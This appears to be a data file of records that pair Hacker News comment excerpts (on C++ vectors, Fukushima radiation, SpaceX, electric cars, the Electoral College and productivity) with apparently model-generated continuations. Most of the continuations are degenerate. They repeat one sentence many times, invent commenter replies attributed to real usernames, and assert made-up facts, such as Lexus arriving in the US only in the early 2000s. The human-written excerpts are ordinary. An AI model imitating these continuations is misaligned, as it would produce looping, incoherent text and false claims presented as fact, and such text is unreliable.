spot).\n\n[https://github.com/facebook/folly/blob/master/folly/docs/sma...](https://github.com/facebook/folly/blob/master/folly/docs/small_vector.md)\n\nFrom what I understand, using a \"rvalue-reference ready\" vector implementation\nwith a good memory allocator must work at least as good as FBVector.\n\n------\njeorgun\nApparently the libstdc++ people aren't entirely convinced by the growth factor\nclaims:\n\n[https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html](https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html)\n\n------\ncliff_r\nThe bit about special 'fast' handling of relocatable types should be obviated\nby r-value references and move constructors in C++11/14, right?\n\nI.e. if we want fast push_back() behavior, we can use a compiler that knows to\nconstruct the element directly inside the vector's backing store rather that\ncreating a temporary object and copying it into the vector.\n\n~~~\nmarksamman\nemplace_back was added in C++11 which does just that:\n[http://en.cppreference.com/w/cpp/container/vector/em"} +{"output_text": " radiation are the ones who are\nactually in danger, and the ones who are not, are the ones who are not\nworried.\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat the people who are worried about radiation are the ones who are\nunnecessarily worried.\n\n~~~\nsorbus\nI think the point is that the people who are worried about radiation are the\nones who are", "input_text": " claim radiation is not an issue.\nWhy doesn't this gentleman volunteer to assist at the plants if he thinks\nradiation is no danger at all.\n\n------\nstewbrew\nWho is \"we\"? If the the author speaks for himself, I have no objection against\nhim moving to Fukushima or buying a house close to another nuclear power\nplant. I'm sure there are people willing to sell and the price for real estate\nin those areas has most likely dropped considerably in the last few decades.\n\n~~~\nsorbus\nI wouldn't be so sure about your implication that nuclear power plants reduce\nproperty prices: \"In each of the seven regions, housing and real estate values\nhave benefited from the operations of the nuclear facilities: total property\nvalues, assessed valuations and median housing prices have often increased at\nrates above the national and state averages. In each local area, housing\nprices were several times higher than prior to the opening of the nuclear\nfacilities, and there is evidence that in Barnwell, proximity to the nuclear\nfacility may actually increase housing values.[1]\"\n\n[1] \n\n~~~\nstewbrew\nFor apparently no clear reason, nuclear power plants are often built near the\nborder. Usually people on the other side of the border usually don't profit in\nwhatever way from the power plant. The situation may be different if you live\non an island.\n\n------\nhrktb\nWhat makes me uneasy about this kind of call is that the situation at\nFukushima is ungoing, but we hear a lot of \"the levels are ridiculous _right\nnow_, what you're scarred of?\".\n\nThe people running away or worrying about"} +{"output_text": "I'm not.)\n\nI think the idea of a \"consultant\" is a good one. I think it's a good idea to\nhave a way to get people to pay for your time.\n\nI think the idea of a \"consultant\" is a good one. I think it's a good idea to\nhave a way to get people to pay for your time.\n\nI think the idea of a \"consultant\" is a good one.", "input_text": "my_ problem, but some of my friends were talking about it:\nsomething like Kickstarter, but for consultants. The genius of Kickstarter is\nthe \"transactional\" (in the database sense of the word, wherein a set of\noperations is packaged so that either all happen or none do) nature of the\nthing: either the money is raised, or not; and if not, it's all returned to\npledgers. If the consultant gets enough pledges/work to cover the next N\nmonths (N = 8 to 12) then they get the money and can start out as consultants.\nIf they don't, the money goes back and they continue with their day jobs.\n\nOne of the problems with consulting is that it's really hard for most people,\nwhile employed, to line up enough work that they can become consultants in the\nfirst place. Most people will never get the chance, even if they have the\ntalent, because they can't front the initial financial cost. This keeps a lot\nof people out of self-employment who would otherwise be a better fit for it.\n\nThe Kickstarter-esque idea seems strong, but the biggest problem with this\nidea is that people who have serious ($150+ per hour) work to offer generally\ndon't solicit on the Internet if they can help it. They prefer to source\nthrough word-of-mouth, which is pre-technological and broken and leads to that\nimbecilic situation where you have to be in to get in... but I don't make the\nrules.\n\nThat's why I haven't pursued it. It's one of those startups that requires\nfixing people, and any startup that goes long on human nature is facing\nextremely bad odds.\n\n~~~\npeteforde\nNot everyone should be freelancers. ("} +{"output_text": " boosters.\n\n~~~\nmatt4077\nI don't think it's a matter of making it boring. It's a matter of making it\nboring to the point of being boring.\n\nThe landing of the first stage of a Falcon 9 is a spectacular event. It's\nlike watching a rocket launch, but with a lot more explosions.\n\nThe landing of a Falcon Heavy is a spectacular event. It's like watching a\nrocket launch, but with", "input_text": ", and the voice search/navigation is really amazing. The Market has some\npretty cool apps on it too, not as many as the iPhone, but plenty.\n\n \nSpaceX Launch: Starlink 12 [video] - cjnicholls\nhttps://www.youtube.com/watch?v=_j4xR7LMCGY\n======\ncodeulike\nEveryone is commenting saying how mundane it has become to see the landings.\nHence you might enjoy this official SpaceX Blooper reel from 2017 that shows\nthe numerous spectacular failures that they worked through.\n\nInnovation is a type of gamble. People forget that.\n\n\"SpaceX: How Not to Land an Orbital Rocket Booster\"\n\n[https://www.youtube.com/watch?v=bvim4rsNHkQ](https://www.youtube.com/watch?v=bvim4rsNHkQ)\n\n(and regular reminder that these things are 12-storey high explosive tubes)\n\n~~~\nskvark\nIf the Falcon 9 landings feel mundane, I would recommend to follow Starship\ndevelopment. Starship SN6 might do a 150 meter hop later today:\n[https://www.youtube.com/watch?v=Ky5l9ZxsG9M](https://www.youtube.com/watch?v=Ky5l9ZxsG9M)\n\n------\nmabbo\nThe true beauty of SpaceX is that they've made landing their boosters boring\n(almost). This makes their competitors throwing them away seem stupid.\n\nIt also shows how clever it was to livestream so much of what they do. So many\npeople have seen a rocket booster land. Children today will hear that ULA\ndoesn't land their"} +{"output_text": "us\n_I\u2019m not sure if I\u2019m going to be able to find a job in the next few months\nbecause I\u2019m not sure if I\u2019m going to be able to find a job in the next few\nmonths._\n\nI'm not sure if I'm going to be able to find a job in the next few months\nbecause I'm not sure if I'm going to be able to find a job in the next few\nmonths.\n\n------", "input_text": " who are just fine with that kind of work. I\ndon't understand that ethical space at all - but from what I've seen they\nsimply don't understand why anyone would have a problem with what they do.\n\n~~~\nShroudedNight\nI got this information second hand, but for what it's worth: There was a\ngraduate student at my university that was well known and highly regarded for\nhis stellar software engineering skills. At one point he took a job writing a\nmissile guidance system. His reasoning was that there were two options, either\nhe wrote the system, and could make damn sure it worked exactly to spec, or\nsomeone else would write the system, and do about as good a job as the other\ncomplex software engineering projects he had encountered. In essence: he took\nthe job to minimize collateral damage.\n\n------\nzem\ni'm surprised the article never explicitly spelt out the main point - for most\npeople, accepting a job offer is a major sunk cost, so it's a lot harder to\nquit a job even after a few months than it is to reject an offer from the\noutset. i'm pretty sure 50onred were counting on that.\n\n------\nalaskanloops\nOdd that there aren't any visitor posts on their facebook page..\n\n------\ndaheza\nMy friend works at Spokeo. If you don't know about them they are basically a\npeople search engine. He keeps asking me to work there, but I just cant get\nover the moral implications of scrapping peoples lives and putting it up for\nviewing for a price. Something about the product just scratches me wrong so I\nhaven't applied. It is really too bad as their tech seems solid and the\noffices are amazing.\n\n------\ngai"} +{"output_text": "0398)\n\n------\njoe_the_user\nI've been doing a lot of NLP lately and I've found that the best way to learn\nis to read a lot of books and papers.\n\nI've found that the best way to learn is to read a lot of books and papers.\n\nI've found that the best way to learn is to read a lot of books and papers.\n\nI've found that the best way to learn is to", "input_text": "-\nprocessing/)\n\n~~~\nnavyad\nDidn't know of this, highly helpful, thanks.\n\n------\nhaidrali\nKeep reading and practice with this book\n[http://www.nltk.org/book_1ed/](http://www.nltk.org/book_1ed/), when you will\ncomplete this book you will have a good understanding of NLP. Sample product\nto work on suggestion would include\n\nImplementing a classifier, For detail of it you can look at 13 chapter of\n[http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf](http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf)\n\nCover topics like Sentiment analysis, Document Summarisation etc\n\n~~~\ntu7001\nThe information retrieval book is great lecture, I'm going through this and\nimplement algorithms, learn a lot.\n\n~~~\nhaidrali\nI have implemented these two algorithms back in 2013 do check it out\n[https://github.com/wonderer007/Naive-Bayes-\nclassifier](https://github.com/wonderer007/Naive-Bayes-classifier)\n\n------\nkyrre\nno point wasting your time on nltk:\n\ncs224d (videos, lecture notes, assignments)\n\na similar course: [https://github.com/oxford-cs-\ndeepnlp-2017/lectures](https://github.com/oxford-cs-deepnlp-2017/lectures)\n\ngood paper: [https://arxiv.org/abs/1103.0398](https://arxiv.org/abs/1103."} +{"output_text": " the US until\nthe early 2000s, and Infiniti didn't introduce the Infiniti name and alphanumeric\nnaming to the US until the early 2000s.\n\n~~~\njaclaz\n> Toyota didn't introduce the Lexus name and alphanumeric naming to the US\n> until the early 2000s\n\nI think that the Lexus name was introduced in the US in the early 90s, but\nthat the Lexus LS400 was", "input_text": " alphanumeric names as the luxury cars and the\n> name-names as mass-market cars. You did this even though there are at least\n> two cars in there you\u2019ve never heard of, because I just made them up.\n\nThe tagline totally ruins the effect of this. \"How a jumble of numbers and\nletters came to convey fanciness, while cute names came to mean value.\" Kind\nof gives the game away, even if I didn't recognize any of the cars.\n\n(As it happens, I only recognize Yaris and Fiesta. I might have guessed based\non those.)\n\n~~~\nhammock\nStill wouldn't matter even if they hadn't given it away in the subheadline,\nbecause the author cherry-picked the model names to support his point.\n\n------\ntrumbitta2\nSo my Citroen C3 is a luxury car. Good to know.\n\n~~~\nhawski\nI think that it is (a surprise) an American point of view. For example the\nmost popular car in communist Poland was Fiat 126p [0].\n\n[0]\n[https://en.m.wikipedia.org/wiki/Fiat_126](https://en.m.wikipedia.org/wiki/Fiat_126)\n\n------\namyjess\nOne thing interesting is that when Lexus and Infiniti were created, the cars\nwere all models that were already being sold in Japan under regular non-\nalphanumeric names.\n\nFor example, the Lexus LS400 was sold in Japan as the Toyota Celsior, and the\nInfiniti Q45 was sold in Japan as the Nissan President.\n\nToyota didn't introduce the Lexus name and alphanumeric naming to"} +{"output_text": "~~~\nmatt4077\nI don't think I've ever heard anyone say that Facebook is a good thing.\n\n~~~\nNotAnEconomist\nI don't think I've ever heard anyone say that Facebook is a bad thing.\n\n~~~\nmatt4077\nI don't think I've ever heard anyone say that Facebook is a good thing.\n\n------\nmatt4077\nI'm not sure I understand the point of this article.\n\n", "input_text": " proposed tank design by using real time 3d graphics and order\nindependent transparency in particular to estimate armor strength against\nattacks from different directions. Originally, OIT was developed for games and\n3d data visualizations.\n\nI think that technology that can be used to protect people, especially\ncivilians, should be developed. I know that I personally draw the line at\nweapoms platforms and weapon systems. You may develop and build them with the\nbest intentions in mind (\"we're at peace and this system is only a necessary\ndeterrent\"), but recent history tells me that once these systems are built and\nsold, they will be used by someone, somewhere to shoot at other people. Even\nthe oh so pacifist Germany sells a lot of weapons and I think every type of\nweapon system sold to another country by Germany since the second world war\nhas seen some action.\n\n~~~\nNotAnEconomist\nI think you've killed less people working on literal sniper rifles for the\nmilitary than working on the addictive feed dynamics of Facebook, given the\nRohingya massacre and other social ills they've supported.\n\nI think a lot of people in tech work on really questionable projects that\ncreate huge social ills, then talk about \"Well, at least we don't build\nweapons!\" \\-- ignoring that when measuring human suffering, their unrestrained\nmanipulation and exploitation causes much more than weapons of war do, in\npractice.\n\nSo when unqualified, I tend to hear your argument as simply trying to hide the\nmessiness of what you do, rather than than it's inherently more ethical than\nbuilding weapons would be.\n\ntl;dr: I don't believe the military is less ethical, I think they're just more\nhonest about what they do.\n\n"} +{"output_text": "\nincreased as the population grew. But the population has grown much faster\nthan the number of representatives.\n\n~~~\nmatt4077\nI don't think that's a good idea.\n\nThe US is a very large country, and the population is spread out over a very\nlarge area. The number of representatives per state is already very high, and\nincreasing it would make it even higher.\n\n~~~\ncompycom\nI agree, but I think it", "input_text": " do care about terminal UIs, this isn 't a realistic\n> solution._\n\nRight, but I was never suggesting people don't care about terminal UIs nor\nthat shells don't offer a valuable function. In fact the opposite is true:\nI've written my own shell because I thought I could create a better UI/UX than\nBash.\n\n------\nbeaker52\nThis explains why I've seen % when the prompt has been missing for whatever\nreason.\n\n------\nChristianBundy\nI learned a new thing today, thanks for posting this!\n\n \nThe Case for Dumping the Electoral College - car\nhttps://www.newyorker.com/magazine/2020/09/21/the-case-for-dumping-the-electoral-college\n======\ncompycom\nOne half solution that people don't tend to bring up: massively increase the\nnumber of members of congress. The formula for a states representation in the\nelectoral college is {number of senators + number of representatives}.\n\nSince the senate is fixed at 2 senators per state, it massively advantages\nsmall states in terms of political power per person. The number of\nrepresentatives per state is currently set at 435, and is allocated\nproportionately to population. This number is arbitrary, and can be changed by\nan act of congress. Increasing it will dilute the power of the electors from\nthe Senate.\n\nThere's also compelling reason to increase the number of for its own sake: the\nnumber of people per representative is higher now than it has ever been. And\nit's much higher than other Western democracies.\n\nWhen the Constitution was written, the number of representatives was set so\nthere'd be one for every 30,000 people. The idea was that the number would be"} +{"output_text": " have the data.\n\n3.2) Google's search engine is now the most powerful in the world. Google\nsearch is the most powerful in the world. Google's search engine is the most\npowerful in the world. Google's search engine is the most powerful in the\nworld. Google's search engine is the most powerful in the world. Google's\nsearch engine is the most powerful in the world. Google's search engine is the\nmost powerful in the world. Google", "input_text": " hoard is in\nthe public interest and must be made publicly available. Anyone can now search\nall that stuff about you, all your emails, their contents. Have you ever\nwanted a stalker? Have any jealous friends? Is there nothing you would like to\nforget? Think employer-employee profiling, discrimination and bullying can't\nget much worse?\n\n3) Nobody emerges as a Google sized competitor. Google becomes the de-facto\nchoice for advanced image, video, audio processing. Google announces Google\nCCTV - desirable for companies because of the unlimited storage, web\naccessibility and tremendous analysis capability. Voices are transcribed,\npeople are tracked, identified by sight, motion, limb length, gait... Soon all\ncompanies use GCCTV. Soon local councils do. Soon dflock can be tracked across\nsystems. Google acquires eyes all over the country. Google starts population-\nscale experiments in secret. Can they predict where you will be? Can they, by\ndint of showing you different adverts, search results, articles with different\nslants _influnece_ where you will be? Which stores you shop in? Who you phone?\nWhich way you vote?\n\n3.1) Voice control hasn't really got much further. Microsoft, Dragon Dictate,\nApple, they're all roughly as good as they were. Google has been quietly\ntraining on youtube videos, GrandCentral phonecalls, GTalk calls, google\nmobile search. Theirs is much better. Any device from your satnav or car\nstereo to your TV or Kindle has Google Voice tie-in. Everyone loves it because\nyou can talk in whole sentences and say things like \"remind me to watch XYZ on\nchannel 123 on Sunday\" and it does. Google offer this for free because now\nthey"} +{"output_text": " demo:\n\n[0]\n[https://www.youtube.com/watch?v=9_0_0_0_0I](https://www.youtube.com/watch?v=9_0_0_0_0I)\n\n~~~\njoshuamorton\nI think you're right, but I think the 3D effect is more about the perspective\nthan the geometry.\n\nI think the 3D effect is more about the", "input_text": " one is fun to watch on a 3D display. (As much of it is black & white,\nanaglyph should also be worth a shot.)\n\nMost of the effects could have plausibly been rasterised or blitted into a\nflat plane; alternatively, all of it could be done in a pixel shader which\njust colours in two triangles that fill the screen. But (as I discovered to my\ndelight one day when I happened to have access to a Windows machine with a 3D\nmonitor) it's all 3D geometry with a perspective projection.\n\nFor example, the wibbly-wobbly cone[0], viewed in 2D, could just as well be a\nflat bunch of sinusoidally gyrating discs all XORed together. But these discs\nare properly stacked along the Z axis.\n\nThe demo doesn't natively support stereo displays, so you have to find a tool\nthat can inject itself into the graphics pipeline and modify the projection\nmatrix for each eye. I don't remember which one I used when I tried that, but\nit had a nifty feature you should seek out: Hotkeys that let you adjust the\nmapping of depth to the stereoscopic shenanigans (separation and convergence)\non the fly. Being able to make such tweaks on a scene-by-scene basis helps a\nlot with a production that was only designed for cyclops mode originally.\n\nThe same technique can be applied to many PC demos, but usually it only\namplifies a 3D effect that was already there in the first place. In the case\nof Intrinsic Gravity, it gives you an extra dimension of'_whoa_ '.\n\nBonus recommendation for those who can't be bothered with any of that and just\nwant to watch a neat"} +{"output_text": " step back.\n\n~~~\nftse\nI'm not sure I understand. You start with a sentence, then you go back and\nchange it?\n\n~~~\npg\nYes.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\npg\nI'm trying to show how the process of writing an essay works.\n\n~~~\njoshu\nI don't think I understand.\n\n~~~\npg\n", "input_text": "k the significance of his choice to remove them. It occurs\nto me a person could do some sort of git style display. Anything that's over 5\nseconds old is revision 1, and if you edit that later, you see the old crossed\nout, and the new highlighted. (this would be a mode that could be turned\non/off as desired, as it could be distracting) Such a mode would allow a\nwindow into the thought processes of the writer, both for the voyeurs, and for\nthe writer himself.\n\n------\nvaksel\nI wouldn't mind seeing ehterpad work in real time...just to see how much time\nit takes him to come up with the stuff/changes\n\n~~~\nrugoso\nagree, if you've got this far, why not show it real time, as an option maybe\n\n------\ncsomar\nThis can give you an idea how essays are written by famous writers!\n\n------\nXichekolas\nSo now I'm curious PG, what's your Ronco number?\n\n~~~\npg\n1\\. Ron has invested in several YC-funded startups.\n\n------\nomarchowdhury\n[web 2.0 derivative mindset]\n\nWe could have a new site just dedicated to PG etherpad submissions!\n\n[/web 2.0 derivative mindset]\n\n------\nftse\nFascinating. However, don't think you are seeing the complete creation of an\nessay from its spark to completion. The first sentence appears (to me at\nleast) considered and calculated. I'm sure much more thought has gone into the\nessay than the animation would suggest.\n\n~~~\npg\nI start when I think of the first sentence. After that, as you can see, it's\ntwo steps forward and one"} +{"output_text": " that you are a\nGitLab employee), I'll be sure to take a look at the settings pages and see\nwhat we can do to improve them.\n\n~~~\nKarunamon\nThanks for the feedback!\n\n------\nKarunamon\nI'm the author of this post.\n\nI'm a GitLab employee, and I'm happy to answer any questions.\n\n~~~\nsytse\nI'm curious about the \"GitLab Enterprise\" product. What", "input_text": " made it so I had to guess where the setting I want is.\n\n* Why are there two nearly identical pages for showing repository contents? (One at the top level of a project, which is any project's landing page, and another on its \"repository\" tab, which is the same view missing a few elements)\n\n* Releases and their artifacts are buried behind \"tags\" (which they technically are in Git parlance, but still) or a very easy to overlook CI status badge on the last commit shown on the landing page. Releases can only be created with API calls or manually through the new tag page, rather than programmatically or as part of a CI job. (Yes, I know, the CI job could technically call the API. You get a cookie. Point is, it feels rather buried.)\n\n* Build artifacts can only be downloaded in a zip bundle, rather than individually\n\n* I haven't figured out how to turn off the \"Do you want to enable Auto DevOps?\" div showing in every single repo.\n\n* Advertising for Google Cloud on the CI Kubernetes page is just plain tacky. I'm sure there's a way to turn this off, but _I shouldn 't have to in the paid Enterprise product_.\n\n~~~\nmatejlatin\nThis is really useful feedback @Karunamon! I see Sarrah already addressed it\nso I just wanted to add my bit: I also think that the approach we used for\ndesigning settings pages isn't optimal and suggested improvements in a\ndiscussion on a related issue:\n\n[https://gitlab.com/gitlab-org/gitlab-\nce/issues/45219](https://gitlab.com/gitlab-org/gitlab-ce/issues/45219)\n\nAfter seeing your feedback (and confirming my assumption"} +{"output_text": "), the Distributor is\nnot the same as the Promotion arm.\n\n~~~\njoshstrange\n> _I have no ingrained suppositions that the platform, free of charge, which\n> hosts cheap-ass text in a usable format, and seems to be stable, would\n> actually be bothered or compelled to promote my material. Not one bit of\n> assumption on my part._\n\nI think you're missing the point. I'm not saying that", "input_text": " it, the inclination is to praise them, to withhold\n> criticism._\n\nBZZZT! Wrong! Maybe for you, but not for me!\n\nI have no ingrained suppositions that the platform, free of charge, which\nhosts cheap-ass text in a usable format, and seems to be stable, would\nactually be bothered or compelled to promote my material. Not one bit of\nassumption on my part. I use it as a writing platform simply because it fits a\nneed, and I didn't have to fork over for a domain and the maintenance that\ngoes along with a self-implemented system. Or, if flow simply refers to it\nworking, yeah, I guess I'm assuming that, but that's like a core competency.\n\nIt almost reminds me of the Mitch Hedberg joke, the one where a chef becomes a\nmaster chef, and then a person asks, \"Well, can you farm?\" as though they\nshould be a master of every aspect. I write. Medium hosts my writing, and I\nlike the way the software works. Good deal for now, if it changes, I'll tear\ndown and move on (like I did with Blend.io when they pivoted in a way I did\nnot want to follow).\n\nIf we're talking ownership, well, that's a \"backup\" issue for each writer. For\nserious, lengthy pieces, I'm working in a software like Word before I'm\nposting online. It's just habit, and I can save locally/backup and Medium is\nthe finished, public product. Simple.\n\nIn my experience - coming from music - the distributor is distinct and\nseparate from the promotions arm. Though they may collaborate (PR working in\nconjuntion with Distributor to announce big release, etc"} +{"output_text": " system is not working. The current system\nallows for a corporation to have a public face, and that public face can\nexpress opinions that are not in line with the corporation's interests.\n\nThe current system allows for a corporation to have a public face, and that\npublic face can express opinions that are not in line with the corporation's\ninterests.\n\nThe current system allows for a corporation to have a public face, and that\npublic face can express opinions that are not", "input_text": " where you are one of the major public faces of an organization\n(such as its CEO) and are not capable of dealing with the PR resulting from\nthe association of those speech acts with a public face of the corporation\n(the same as it would if you couldn't deal with any other PR issue affecting\nthe corporation, even if it _wasn 't_ resulting from your speech acts.)\n\n~~~\nDrJokepu\nThis is a frequently repeated argument and I find it less and less convincing.\nIt is true that America's constitution only guarantees the congress will not\nabridge the freedom of speech. However, an argument could be made that in a\nfree society there's a fundamental right to have a dissenting opinion or\nvoice; a right that is not codified by the constitution because it's simply\nirrelevant to a constitution. It seems to me that it's up to all of us to\ntolerate non-extreme dissenting voices, even if we disagree with them.\n\n~~~\ndragonwriter\n> However, an argument could be made that in a free society there's a\n> fundamental right to have a dissenting opinion or voice\n\nOf course, there is a fundamental right to have (and express) a dissenting\nopinion or voice.\n\nThere is also a fundamental right to have (and express) _displeasure_ with an\nopinion or voice, whether dissenting or not.\n\nAnd there is no fundamental entitlement to a job whose responsibilities\ninclude managing the public image of a corporation, and if you are unable to\ndo that in the real circumstances and public image problems the corporation\nfaces, _whether or not_ your own speech acts are the _source_ of that PR\nproblem, you shouldn't expect to continue to have that job.\n\n~~~\nElComradio\nThe problem is that the current"} +{"output_text": " a position to scale up. They have a\nproduction bottleneck in the battery factory.\n\n~~~\ndingo_bat\nI don't think they have a production bottleneck. They have a production\nbottleneck in the supply of raw materials.\n\n~~~\nbildung\nI don't think they have a production bottleneck in the supply of raw materials\neither.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point", "input_text": "8czW.png)\n\n~~~\ndingo_bat\nWhy are people not hyped about the bolt as much as they are about 3? It looks\nlike a comparable car which is available now, instead of in 2019.\n\n~~~\njustin66\nIt's a GM, so it looks like it was made to appear in a Transformers movie and\npeople trust a largely unproven manufacturer like Tesla to make something more\nreliable.\n\n------\ndingo_bat\nMercedes and BMW and Volkswagen are going to be dead (or faint shadows of\ntheir current state) within this decade (2027). Exactly what has happened to\nNokia, Siemens and Ericsson is going to repeat itself. I would wager smaller\nplayers like Hyundai will adapt and hang on, maybe even innovate at a later\ndate. Tough to predict Toyota and Honda though. The Japanese are clever in\ntheir ways.\n\nSay what you want but American entrepreneurs do have an unbelievable appetite\nfor disruption.\n\n~~~\neknkc\nBMW has i3 (pure electric) and i8 (plug in hybrid). I drive a i3 daily and I'd\nsay they have done a good job. It looks ugly but range is acceptable,\nperformance is better than other options (Tesla is not here in my country) and\nthe quality seems to be good overall.\n\nI believe they'll adapt just fine.\n\n~~~\ndingo_bat\nThe difference is Tesla has a plan to scale up. How is BMW going to acquire\nall the batteries needed if they want to start selling 10x the number of i3s?\nThey may adapt, but will surely lose their comfortable position in the market.\n\n~~~\nbildung\nI very much doubt that Tesla is in"} +{"output_text": " don't do it, you'll be more productive if you don't\ndo it.\n\n6- Don't be afraid to ask for help, you'll be surprised how many people are\nwilling to help you, and you'll be surprised how many people are willing to\nhelp you.\n\n7- Don't be afraid to ask for help, you'll be surprised how many people are\nwilling to help you, and you'll be surprised how many people are willing to", "input_text": " issues, and I think you speak out for lots of people,\nmotivation is a very limited resource and when it's not used properly, you end\nup in this state.\n\nWhat worked for me best is to tackle your tasks with the notion that you have\nlimited resources in mind and that you're just human.\n\nSome tips that you might find useful, that certainly work very well for me:\n\n1- Declutter your workspace, clean your whole house, having small things here\nand there lying around affects my thought process.\n\n2- Declutter your brain, Throw away ideas that might be nice, but are not\npossible to work on right now cause they'll take tons of time and money, write\nthose ideas down somewhere for later use, if ever.\n\n3- Declutter your life, make sure you don't have lingering problems that can\nbe fixed now, your brain will fatigue out when you have a lot in your stack,\nfix that leaking toilet, talk to your spouse about the issue you've been\nalways having with them, tell your friend you can't help them with that thing\nthey needed, empty out as much as you can, and work on the low hanging fruits\nfirst.\n\n4- When it comes to tasks, spend as much time as you can afford planning it\nahead first, break things down into small actionable tasks that will take a\nfew minutes or hours to resolve, avoid homogeneous tasks like \"Implement\nbackend\", \"Fix the known bugs\", \"Release next version\", etc... instead, have\nvery concrete minimal tasks like \"Fix bug #21\", \"Create Users profile database\nschema\", \"Convert header image to SVG\", etc...\n\n5- Timebox things when planning, say you'll spend only 1 hour today working on\nthis issue, if you can't,"} +{"output_text": " people.\n\n~~~\njbooth\nI don't know about 100 years ago, but I'm pretty sure poor people in America\nare _healthier_ than rich people.\n\n~~~\nmhartl\nI'm not sure about that. I'm not a nutritionist, but I'm pretty sure that\npoor people in America are _less_ healthy than rich people.\n\n~~~\njbooth\nI'm not sure about that either. I'm not a", "input_text": " to eat healthily in poor neighborhoods, it takes a _lot_ of\nwork - a lot more work than it does for a wealthy person living in a wealthy\nplace. I've observed this in myself: I gained _enormous_ amounts of weight\nwhile living in a poor, working-class neighborhood, and promptly shed it once\nI moved to a wealthy upper middle-class neighborhood. I've bounced back and\nforth between poor areas and rich areas since then, and the pattern has so far\nheld up.\n\nBut, anecdotes not equivalent to data, etc etc.\n\nIn a upper-middle class neighborhood healthy diets practically come after you\nwith a baseball bat. It's steeped in the general consciousness of the area,\nsupport by people who possess the freedom of finance, time, and effort to\nthink about such things, and it's supported by the merchants in the area.\n\nThe same is not true in poor neighborhoods, where fast is king to a population\nof overworked and tired people. When you're holding down multiple jobs and\nraising kids at the same time, the CSA subscription may be cheaper and\nhealthier, but it also requires time you don't have. Merchant offerings in the\narea reflect this reality, and so even someone with the intent to eat\nhealthily will find that availability of healthy food is substantially lower.\n\nWe are fortunate in that we have the resources with which to abstract _many_\nannoying details away from our lives so we can concentrate on the important\nthings: good bodily health, mental well-being, and the such. Most of the\npopulation isn't so lucky.\n\n~~~\nmhartl\nDid poor people 100 years ago have the same problem? I doubt it. But today,\npoor people in America are _fatter_ than rich"} +{"output_text": " be a good idea to add a job board._\n\nI'm not sure what you mean by \"a good idea\". If you mean \"a good idea for\nme\", then I agree. If you mean \"a good idea for the site\", then I'm not so\nsure. I think that job boards are a bad idea for a site like this. I think\nthat the best thing you can do is to make it easy for people to find jobs.\n\n~~~\nX", "input_text": " than it would with MongoDB.\n\n~~~\nXylakant\nabsolutely. I know some projects that implemented a mobile app with\noffline/sync capability using the couch/pouch combination. I haven't\nparticipated personally but from what the colleagues tell me it's working\npretty well. (for all values of well that you can have when it comes to\noffline/sync. it's a tough problem.)\n\n~~~\nHodGreeley\nYou can take a look at Couchbase Mobile for native client offline+sync\ncapabilities, too. PouchDB integrates with Couchbase Sync Gateway, so the\ncombo is versatile.\n\n \n\nIdeas for the new catonmat.net website - pkrumins\nhttp://www.catonmat.net/blog/50-ideas-for-the-new-catonmat-website/\n\n======\nmichael_dorfman\nSome of these ideas are pretty good, but some are not. To take a couple\nexamples:\n\n _Here is a concrete example: Someone links to www.catonmat.net/artikle when\nthey wanted to link to www.catonmat/article. I\u2019d simply insert an entry to 301\nredirect /artikle to /article and everyone\u2019s happy._\n\nEveryone's happy? I think not. What you've just done is taken on the the onus\nfor fixing other people's mistakes. In the long run, that's not sustainable--\nit's more work for you, and only encourages sloppiness on their part. It's not\na road I'd like to go down, I'll tell you that.\n\n _47\\. Add A Job Board. As my site is getting more popular and popular among\nprogrammers, it may"} +{"output_text": "> _There 's a lot of EV's comparable to the Model 3 in both price and range._\n\nI'm not sure that's true.\n\nThe Model 3 is a $35k car. The Leaf is $30k.\n\nThe Leaf is a tiny car. The Model 3 is a big car.\n\nThe Leaf is a tiny car with a tiny trunk. The Model 3 has a big trunk.\n\nThe Leaf has a tiny battery. The Model 3", "input_text": "forms the C-Class on driving performance if the reviews are to be\nbelieved. The bling-bling leather, chrome and wood of the German high-end cars\nis more luxurious, but is not for everyone.\n\nLet's see. My guess is as good as yours but I think the Germans will bleed if\nthey don't transition to EVs very fast. If Tesla has the market for itself in\nall of 2018-2020, it might be too late for VW, BMW and Mercedes-Benz.\n\nRight now, they have plans and talk, but not a single competitive EV on the\nmarket, no fleet of hundreds of thousands of self driving cars recording and\nlearning, no network of superchargers, no thousands of talented EV and AI\nengineers, no remote update, no battery factories.\n\nI sure hope they wake up. Competition will only be good for us consumers.\n\n~~~\nbgarbiak\nThere are many other cars that could be compared to Model 3. Mazdas, VWs,\nHyundais, Hondas. If we take only size, price, performance and interior\nquality into consideration then Model 3 is certainly not the best choice. But\nit's an EV. And others are not.\n\n~~~\nThlom\nThere's a lot of EV's comparable to the Model 3 in both price and range.\nThere's a lot of EV's comparable to the Model 3 in range and price. VW e-golf\ncosts about the same (or less) with comparable range and size. Hyundai IONIQ\nis cheaper with about the same range and size. Then you have the ugly EV's\nlike Nissan Leaf and Kia Soul. Cheaper and with comparable range and size\n(perhaps a bit smaller trunk).\n\n~~~\ngrecy\n"} +{"output_text": ", but I don't know if it's worth it for\nus. We have a lot of developers, and we have a lot of projects, and we have a\nlot of different types of projects. We have a lot of different types of\ndevelopers, and we have a lot of different types of projects.\n\nWe have a lot of different types of developers, and we have a lot of different\ntypes of projects.\n\nWe have a lot of different types of developers", "input_text": " Dockercon on introducing Docker to Demonware\nfor CI across a variety of projects. I don't think the video is up yet, but\nit's well worth a watch if you're thinking of bringing it into your company.\nIn the meantime we wrote a blog post on his talk:\n[http://blog.codeship.com/dockercon-2015-using-docker-to-\ndriv...](http://blog.codeship.com/dockercon-2015-using-docker-to-drive-\ncultural-change-in-gaming/).\n\n~~~\nbampolampy\nWe are just starting a beta for our new CI flow which follows the container\nparadigm very closely. It allows you to build docker compose stacks for your\nvarious application images, and run your CI/CD pipeline locally, exactly as it\nwould get run on our hosted platform.\n\nIf anyone is interested in joining our beta, just drop me an email: brendan at\ncodeship.com.\n\n------\nyebyen\nI honestly don't know how much those things cost (I have heard some people say\nAWS is not cheap, but compared to buying your own hardware maybe all of this\nstuff is very cheap). The point of asking is, my company has not found a clear\nplace to use Docker directly, but we do use it indirectly through the Deis\nproject, and CoreOS.\n\nMy experience with Deis has been wonderful. If you ever looked at Heroku but\ngot to the 